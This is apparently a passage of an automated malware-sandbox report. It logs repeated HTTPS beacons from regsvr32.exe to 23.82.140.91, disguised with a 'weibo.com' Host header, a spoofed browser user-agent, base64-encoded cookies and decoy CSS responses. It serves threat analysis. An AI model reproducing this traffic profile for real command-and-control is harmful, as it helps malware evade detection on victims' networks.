66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

161 192.168.2.6 50011 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:22 UTC 1415 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:23 UTC 1418 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:23 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:10:23 UTC 1418 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

162 192.168.2.6 50012 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:24 UTC 1420 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:24 UTC 1420 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:24 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:10:24 UTC 1421 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

163 192.168.2.6 50013 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:26 UTC 1422 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:26 UTC 1423 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:26 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:10:26 UTC 1423 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

164 192.168.2.6 50015 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:28 UTC 1425 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:28 UTC 1425 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:28 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:10:28 UTC 1426 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

165 192.168.2.6 50016 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:28 UTC 1427 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:29 UTC 1428 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:28 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:10:29 UTC 1428 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

166 192.168.2.6 50017 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:30 UTC 1430 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:30 UTC 1431 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:30 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:10:30 UTC 1431 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

167 192.168.2.6 50018 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:30 UTC 1430 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:30 UTC 1433 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:30 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:10:30 UTC 1433 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

168 192.168.2.6 50019 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:34 UTC 1435 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:34 UTC 1435 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:34 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:10:34 UTC 1436 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

169 192.168.2.6 50020 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:10:34 UTC 1437 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:10:35 UTC 1439 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:10:35 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:10:35 UTC 1439 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

17 192.168.2.6 49780 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:07:28 UTC 1056 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:07:28 UTC 1057 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:07:28 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:07:28 UTC 1058 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
